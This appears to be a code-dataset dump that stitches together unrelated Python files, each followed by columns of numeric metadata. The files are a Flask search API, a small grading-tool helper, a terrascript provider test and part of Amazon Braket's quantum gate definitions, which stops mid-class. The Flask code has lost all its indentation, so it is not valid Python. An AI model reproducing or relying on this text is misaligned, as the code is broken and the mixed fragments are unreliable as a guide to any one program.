def get(index_name, document_id):
content, target, result = get_document_by_id(TDM, index_name, document_id)
if content is not None:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
@staticmethod
@api.expect([api.model("UpdateDocument", {
"id": fields.String
})])
def put(index_name, document_id):
request_body = get_request(request)
if "id" in request_body and isinstance(request_body["id"], str):
content, target, result = update_document(TDM, index_name, document_id, request_body)
if content is not None:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
else:
return PUT_CONTROL_DOCUMENT, RESPONSE_INVALID_INPUT
@staticmethod
def delete(index_name, document_id):
content, target, result = delete_document(TDM, index_name, document_id)
if content is not None:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
##################################################################################################################################
@api.route("/Search/InitialCharacter/<index_name>/<column_names>")
class SearchInitialCharacter(Resource):
@staticmethod
@api.expect(api.model("SearchInitialCharacterPost", {
"query": fields.String
}))
def post(index_name, column_names):
column_list = column_names.strip().split(",")
request_body = get_request(request)
if "query" in request_body and isinstance(request_body["query"], str):
content, target, result = find_sentence_by_initial(TDM, index_name, column_list, request_body["query"])
if content is not None:
if len(content) == 0:
resp = make_response('', RESPONSE_OK_WITH_NO_CONTENT)
resp.headers['Content-Length'] = 0
return resp
else:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
else:
return SEARCH_INITIAL_CHARACTER, RESPONSE_INVALID_INPUT
##################################################################################################################################
@api.route("/Search/InitialCount/<index_name>/<column_names>")
class SearchInitialCount(Resource):
@staticmethod
def get(index_name, column_names):
column_list = column_names.strip().split(",")
content, target, result = get_initial_count(TDM, index_name, column_list)
if content is not None:
if len(content) == 0:
resp = make_response('', RESPONSE_OK_WITH_NO_CONTENT)
resp.headers['Content-Length'] = 0
return resp
else:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
##################################################################################################################################
@api.route("/Search/AutoComplete/<index_name>/<column_names>")
class AutoComplete(Resource):
@staticmethod
@api.expect(api.model("AutoCompletePost", {
"query": fields.String
}))
def post(index_name, column_names):
column_list = column_names.strip().split(",")
request_body = get_request(request)
if "query" in request_body and isinstance(request_body["query"], str):
content, target, result = auto_complete(TDM, index_name, column_list, request_body["query"])
if content is not None:
if len(content) == 0:
resp = make_response('', RESPONSE_OK_WITH_NO_CONTENT)
resp.headers['Content-Length'] = 0
return resp
else:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
else:
return AUTO_COMPLETE, RESPONSE_INVALID_INPUT
##################################################################################################################################
@api.route("/Search/CosineSimilarity/<index_name>/<column_names>")
class SearchCosineSimilarity(Resource):
@staticmethod
@api.expect(api.model("SearchCosineSimilarityPost", {
"query": fields.String,
"weight": fields.Raw
}))
def post(index_name, column_names):
column_list = column_names.strip().split(",")
request_body = get_request(request)
if "query" in request_body and isinstance(request_body["query"], str) and "weight" in request_body and isinstance(request_body["weight"], dict) and False not in [isinstance(request_body["weight"][x], int) or isinstance(request_body["weight"][x], float) for x in request_body["weight"]]:
content, target, result = search_with_cosine_similarity(TDM, index_name, column_list, request_body["query"], request_body["weight"])
if content is not None:
if len(content) == 0:
resp = make_response('', RESPONSE_OK_WITH_NO_CONTENT)
resp.headers['Content-Length'] = 0
return resp
else:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
else:
return SEARCH_COSINE_SIMILARITY, RESPONSE_INVALID_INPUT
##################################################################################################################################
@api.route("/Search/WordCount/<index_name>/<column_names>")
class SearchWordCount(Resource):
@staticmethod
@api.expect(api.model("SearchCosineSimilarityPost", {
"query": fields.String,
"weight": fields.Raw
}))
def post(index_name, column_names):
column_list = column_names.strip().split(",")
request_body = get_request(request)
if "query" in request_body and isinstance(request_body["query"], str) and "weight" in request_body and isinstance(request_body["weight"], dict) and False not in [isinstance(request_body["weight"][x], int) or isinstance(request_body["weight"][x], float) for x in request_body["weight"]]:
content, target, result = search_with_word_count(TDM, index_name, column_list, request_body["query"], request_body["weight"])
if content is not None:
if len(content) == 0:
resp = make_response('', RESPONSE_OK_WITH_NO_CONTENT)
resp.headers['Content-Length'] = 0
return resp
else:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
else:
return SEARCH_WORD_COUNT, RESPONSE_INVALID_INPUT
##################################################################################################################################
# @api.route("/Search/save")
# class Save(Resource):
# @staticmethod
# def post():
# save_data_scheduler(TDM)
#
# return True, RESPONSE_OK
schedulers = BackgroundScheduler()
schedulers.start()
schedulers.add_job(func=save_data_scheduler, trigger="interval", seconds=args.scheduler_time, args=[TDM])
if __name__ == "__main__":
application.run(args.host, args.port)
| 43.146933
| 294
| 0.54913
| 2,898
| 30,246
| 5.438578
| 0.063147
| 0.119789
| 0.157224
| 0.166614
| 0.820697
| 0.785356
| 0.747986
| 0.724383
| 0.711122
| 0.706935
| 0
| 0.001332
| 0.329696
| 30,246
| 700
| 295
| 43.208571
| 0.776068
| 0.004893
| 0
| 0.817875
| 0
| 0
| 0.047542
| 0.018005
| 0
| 0
| 0
| 0
| 0
| 1
| 0.030354
| false
| 0
| 0.015177
| 0
| 0.337268
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
4acb1289302599ce05cf5e14e0733f92fdae60e9
| 144
|
py
|
Python
|
cs251tk/student/markdownify/find_warnings.py
|
renovate-tests/cs251-toolkit
|
fc1dbc85e04083116a985ab1bd5314a60125f038
|
[
"MIT"
] | null | null | null |
cs251tk/student/markdownify/find_warnings.py
|
renovate-tests/cs251-toolkit
|
fc1dbc85e04083116a985ab1bd5314a60125f038
|
[
"MIT"
] | null | null | null |
cs251tk/student/markdownify/find_warnings.py
|
renovate-tests/cs251-toolkit
|
fc1dbc85e04083116a985ab1bd5314a60125f038
|
[
"MIT"
] | null | null | null |
from .warning_unmerged_branches import find_unmerged_branches
def find_warnings():
return {'unmerged branches': find_unmerged_branches()}
| 24
| 61
| 0.8125
| 17
| 144
| 6.470588
| 0.529412
| 0.581818
| 0.363636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 144
| 5
| 62
| 28.8
| 0.859375
| 0
| 0
| 0
| 0
| 0
| 0.118056
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 9
|
ab36bd49b1ffe3dad432a9b6b421c49b8c8df716
| 826
|
py
|
Python
|
tests/test_provider_gavinbunney_restapi.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 507
|
2017-07-26T02:58:38.000Z
|
2022-01-21T12:35:13.000Z
|
tests/test_provider_gavinbunney_restapi.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 135
|
2017-07-20T12:01:59.000Z
|
2021-10-04T22:25:40.000Z
|
tests/test_provider_gavinbunney_restapi.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 81
|
2018-02-20T17:55:28.000Z
|
2022-01-31T07:08:40.000Z
|
# tests/test_provider_gavinbunney_restapi.py
# Automatically generated by tools/makecode.py (24-Sep-2021 15:25:44 UTC)
def test_provider_import():
import terrascript.provider.gavinbunney.restapi
def test_resource_import():
from terrascript.resource.gavinbunney.restapi import restapi_object
def test_datasource_import():
from terrascript.data.gavinbunney.restapi import restapi_object
# TODO: Shortcut imports without namespace for official and supported providers.
# TODO: This has to be moved into a required_providers block.
# def test_version_source():
#
# import terrascript.provider.gavinbunney.restapi
#
# t = terrascript.provider.gavinbunney.restapi.restapi()
# s = str(t)
#
# assert 'https://github.com/gavinbunney/terraform-provider-restapi' in s
# assert '1.15.4' in s
| 28.482759
| 80
| 0.762712
| 107
| 826
| 5.757009
| 0.542056
| 0.175325
| 0.168831
| 0.180195
| 0.25974
| 0
| 0
| 0
| 0
| 0
| 0
| 0.022695
| 0.146489
| 826
| 28
| 81
| 29.5
| 0.851064
| 0.619855
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0.035714
| 0
| 1
| 0.5
| true
| 0
| 1
| 0
| 1.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
dbb7ba8a4a89a25a0172d99c88b3a00862d3bd26
| 40,902
|
py
|
Python
|
artifacts/old_dataset_versions/minimal_commits_v02/amazon-braket-sdk-python/amazon-braket-sdk-python#250/after/gates.py
|
MattePalte/Bugs-Quantum-Computing-Platforms
|
0c1c805fd5dfce465a8955ee3faf81037023a23e
|
[
"MIT"
] | 3
|
2021-11-08T11:46:42.000Z
|
2021-12-27T10:13:38.000Z
|
artifacts/minimal_bugfixes/amazon-braket-sdk-python/amazon-braket-sdk-python#250/after/gates.py
|
MattePalte/Bugs-Quantum-Computing-Platforms
|
0c1c805fd5dfce465a8955ee3faf81037023a23e
|
[
"MIT"
] | 2
|
2021-11-09T14:57:09.000Z
|
2022-01-12T12:35:58.000Z
|
artifacts/old_dataset_versions/minimal_commits_v02/amazon-braket-sdk-python/amazon-braket-sdk-python#250/after/gates.py
|
MattePalte/Bugs-Quantum-Computing-Platforms
|
0c1c805fd5dfce465a8955ee3faf81037023a23e
|
[
"MIT"
] | null | null | null |
# Copyright 2019-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompanying this file. This file is
# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
# ANY KIND, either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
from typing import Iterable
import numpy as np
import braket.ir.jaqcd as ir
from braket.circuits import circuit
from braket.circuits.angled_gate import AngledGate
from braket.circuits.gate import Gate
from braket.circuits.instruction import Instruction
from braket.circuits.quantum_operator_helpers import (
is_unitary,
verify_quantum_operator_matrix_dimensions,
)
from braket.circuits.qubit import QubitInput
from braket.circuits.qubit_set import QubitSet, QubitSetInput
"""
To add a new gate:
1. Implement the class and extend `Gate`
2. Add a method with the `@circuit.subroutine(register=True)` decorator. Method name
will be added into the `Circuit` class. This method is the default way
clients add this gate to a circuit.
3. Register the class with the `Gate` class via `Gate.register_gate()`.
"""
# Single qubit gates #
class H(Gate):
"""Hadamard gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["H"])
def to_ir(self, target: QubitSet):
return ir.H.construct(target=target[0])
def to_matrix(self) -> np.ndarray:
return 1.0 / np.sqrt(2.0) * np.array([[1.0, 1.0], [1.0, -1.0]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def h(target: QubitSetInput) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit, int, or iterable of Qubit / int): Target qubit(s)
Returns:
Iterable[Instruction]: `Iterable` of H instructions.
Examples:
>>> circ = Circuit().h(0)
>>> circ = Circuit().h([0, 1, 2])
"""
return [Instruction(H(), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(H)
class I(Gate): # noqa: E742, E261
"""Identity gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["I"])
def to_ir(self, target: QubitSet):
return ir.I.construct(target=target[0])
def to_matrix(self) -> np.ndarray:
return np.eye(2, dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def i(target: QubitSetInput) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit, int, or iterable of Qubit / int): Target qubit(s)
Returns:
Iterable[Instruction]: `Iterable` of I instructions.
Examples:
>>> circ = Circuit().i(0)
>>> circ = Circuit().i([0, 1, 2])
"""
return [Instruction(I(), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(I)
class X(Gate):
"""Pauli-X gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["X"])
def to_ir(self, target: QubitSet):
return ir.X.construct(target=target[0])
def to_matrix(self) -> np.ndarray:
return np.array([[0.0, 1.0], [1.0, 0.0]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def x(target: QubitSetInput) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit, int, or iterable of Qubit / int): Target qubit(s)
Returns:
Iterable[Instruction]: `Iterable` of X instructions.
Examples:
>>> circ = Circuit().x(0)
>>> circ = Circuit().x([0, 1, 2])
"""
return [Instruction(X(), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(X)
class Y(Gate):
"""Pauli-Y gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["Y"])
def to_ir(self, target: QubitSet):
return ir.Y.construct(target=target[0])
def to_matrix(self) -> np.ndarray:
return np.array([[0.0, -1.0j], [1.0j, 0.0]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def y(target: QubitSetInput) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit, int, or iterable of Qubit / int): Target qubit(s)
Returns:
Iterable[Instruction]: `Iterable` of Y instructions.
Examples:
>>> circ = Circuit().y(0)
>>> circ = Circuit().y([0, 1, 2])
"""
return [Instruction(Y(), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(Y)
class Z(Gate):
"""Pauli-Z gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["Z"])
def to_ir(self, target: QubitSet):
return ir.Z.construct(target=target[0])
def to_matrix(self) -> np.ndarray:
return np.array([[1.0, 0.0], [0.0, -1.0]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def z(target: QubitSetInput) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit, int, or iterable of Qubit / int): Target qubit(s)
Returns:
Iterable[Instruction]: `Iterable` of Z instructions.
Examples:
>>> circ = Circuit().z(0)
>>> circ = Circuit().z([0, 1, 2])
"""
return [Instruction(Z(), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(Z)
class S(Gate):
"""S gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["S"])
def to_ir(self, target: QubitSet):
return ir.S.construct(target=target[0])
def to_matrix(self) -> np.ndarray:
return np.array([[1.0, 0.0], [0.0, 1.0j]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def s(target: QubitSetInput) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit, int, or iterable of Qubit / int): Target qubit(s)
Returns:
Iterable[Instruction]: `Iterable` of S instructions.
Examples:
>>> circ = Circuit().s(0)
>>> circ = Circuit().s([0, 1, 2])
"""
return [Instruction(S(), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(S)
class Si(Gate):
"""Conjugate transpose of S gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["Si"])
def to_ir(self, target: QubitSet):
return ir.Si.construct(target=target[0])
def to_matrix(self) -> np.ndarray:
return np.array([[1, 0], [0, -1j]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def si(target: QubitSetInput) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit, int, or iterable of Qubit / int): Target qubit(s)
Returns:
Iterable[Instruction]: Iterable of Si instructions.
Examples:
>>> circ = Circuit().si(0)
>>> circ = Circuit().si([0, 1, 2])
"""
return [Instruction(Si(), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(Si)
class T(Gate):
"""T gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["T"])
def to_ir(self, target: QubitSet):
return ir.T.construct(target=target[0])
def to_matrix(self) -> np.ndarray:
return np.array([[1.0, 0.0], [0.0, np.exp(1j * np.pi / 4)]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def t(target: QubitSetInput) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit, int, or iterable of Qubit / int): Target qubit(s)
Returns:
Iterable[Instruction]: `Iterable` of T instructions.
Examples:
>>> circ = Circuit().t(0)
>>> circ = Circuit().t([0, 1, 2])
"""
return [Instruction(T(), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(T)
class Ti(Gate):
"""Conjugate transpose of T gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["Ti"])
def to_ir(self, target: QubitSet):
return ir.Ti.construct(target=target[0])
def to_matrix(self) -> np.ndarray:
return np.array([[1.0, 0.0], [0.0, np.exp(-1j * np.pi / 4)]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def ti(target: QubitSetInput) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit, int, or iterable of Qubit / int): Target qubit(s)
Returns:
Iterable[Instruction]: `Iterable` of Ti instructions.
Examples:
>>> circ = Circuit().ti(0)
>>> circ = Circuit().ti([0, 1, 2])
"""
return [Instruction(Ti(), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(Ti)
class V(Gate):
"""Square root of not gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["V"])
def to_ir(self, target: QubitSet):
return ir.V.construct(target=target[0])
def to_matrix(self) -> np.ndarray:
return np.array([[0.5 + 0.5j, 0.5 - 0.5j], [0.5 - 0.5j, 0.5 + 0.5j]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def v(target: QubitSetInput) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit, int, or iterable of Qubit / int): Target qubit(s)
Returns:
Iterable[Instruction]: `Iterable` of V instructions.
Examples:
>>> circ = Circuit().v(0)
>>> circ = Circuit().v([0, 1, 2])
"""
return [Instruction(V(), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(V)
class Vi(Gate):
"""Conjugate transpose of square root of not gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["Vi"])
def to_ir(self, target: QubitSet):
return ir.Vi.construct(target=target[0])
def to_matrix(self) -> np.ndarray:
return np.array(([[0.5 - 0.5j, 0.5 + 0.5j], [0.5 + 0.5j, 0.5 - 0.5j]]), dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def vi(target: QubitSetInput) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit, int, or iterable of Qubit / int): Target qubit(s)
Returns:
Iterable[Instruction]: `Iterable` of Vi instructions.
Examples:
>>> circ = Circuit().vi(0)
>>> circ = Circuit().vi([0, 1, 2])
"""
return [Instruction(Vi(), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(Vi)
# Single qubit gates with rotation #
class Rx(AngledGate):
"""X-axis rotation gate.
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(angle=angle, qubit_count=None, ascii_symbols=["Rx({:.3g})".format(angle)])
def to_ir(self, target: QubitSet):
return ir.Rx.construct(target=target[0], angle=self.angle)
def to_matrix(self) -> np.ndarray:
cos = np.cos(self.angle / 2)
sin = np.sin(self.angle / 2)
return np.array([[cos, -1j * sin], [-1j * sin, cos]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def rx(target: QubitInput, angle: float) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit or int): Target qubit index.
angle (float): Angle in radians.
Returns:
Iterable[Instruction]: Rx instruction.
Examples:
>>> circ = Circuit().rx(0, 0.15)
"""
return [Instruction(Rx(angle), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(Rx)
class Ry(AngledGate):
"""Y-axis rotation gate.
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(angle=angle, qubit_count=None, ascii_symbols=["Ry({:.3g})".format(angle)])
def to_ir(self, target: QubitSet):
return ir.Ry.construct(target=target[0], angle=self.angle)
def to_matrix(self) -> np.ndarray:
cos = np.cos(self.angle / 2)
sin = np.sin(self.angle / 2)
return np.array([[cos, -sin], [+sin, cos]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def ry(target: QubitInput, angle: float) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit or int): Target qubit index.
angle (float): Angle in radians.
Returns:
Iterable[Instruction]: Ry instruction.
Examples:
>>> circ = Circuit().ry(0, 0.15)
"""
return [Instruction(Ry(angle), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(Ry)
class Rz(AngledGate):
"""Z-axis rotation gate.
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(angle=angle, qubit_count=None, ascii_symbols=["Rz({:.3g})".format(angle)])
def to_ir(self, target: QubitSet):
return ir.Rz.construct(target=target[0], angle=self.angle)
def to_matrix(self) -> np.ndarray:
return np.array(
[[np.exp(-1j * self.angle / 2), 0], [0, np.exp(1j * self.angle / 2)]], dtype=complex
)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def rz(target: QubitInput, angle: float) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit or int): Target qubit index.
angle (float): Angle in radians.
Returns:
Iterable[Instruction]: Rz instruction.
Examples:
>>> circ = Circuit().rz(0, 0.15)
"""
return [Instruction(Rz(angle), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(Rz)
class PhaseShift(AngledGate):
"""Phase shift gate.
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(
angle=angle, qubit_count=None, ascii_symbols=["PHASE({:.3g})".format(angle)]
)
def to_ir(self, target: QubitSet):
return ir.PhaseShift.construct(target=target[0], angle=self.angle)
def to_matrix(self) -> np.ndarray:
return np.array([[1.0, 0.0], [0.0, np.exp(1j * self.angle)]], dtype=complex)
@staticmethod
def fixed_qubit_count() -> int:
return 1
@staticmethod
@circuit.subroutine(register=True)
def phaseshift(target: QubitInput, angle: float) -> Iterable[Instruction]:
"""Registers this function into the circuit class.
Args:
target (Qubit or int): Target qubit index.
angle (float): Angle in radians.
Returns:
Iterable[Instruction]: PhaseShift instruction.
Examples:
>>> circ = Circuit().phaseshift(0, 0.15)
"""
return [Instruction(PhaseShift(angle), target=qubit) for qubit in QubitSet(target)]
Gate.register_gate(PhaseShift)
# Two qubit gates #
class CNot(Gate):
"""Controlled NOT gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["C", "X"])
def to_ir(self, target: QubitSet):
return ir.CNot.construct(control=target[0], target=target[1])
def to_matrix(self) -> np.ndarray:
return np.array(
[
[1.0, 0.0, 0.0, 0.0],
[0.0, 1.0, 0.0, 0.0],
[0.0, 0.0, 0.0, 1.0],
[0.0, 0.0, 1.0, 0.0],
],
dtype=complex,
)
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def cnot(control: QubitInput, target: QubitInput) -> Instruction:
"""Registers this function into the circuit class.
Args:
control (Qubit or int): Control qubit index.
target (Qubit or int): Target qubit index.
Returns:
Instruction: CNot instruction.
Examples:
>>> circ = Circuit().cnot(0, 1)
"""
return Instruction(CNot(), target=[control, target])
Gate.register_gate(CNot)
class Swap(Gate):
"""Swap gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["SWAP", "SWAP"])
def to_ir(self, target: QubitSet):
return ir.Swap.construct(targets=[target[0], target[1]])
def to_matrix(self) -> np.ndarray:
return np.array(
[
[1.0, 0.0, 0.0, 0.0],
[0.0, 0.0, 1.0, 0.0],
[0.0, 1.0, 0.0, 0.0],
[0.0, 0.0, 0.0, 1.0],
],
dtype=complex,
)
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
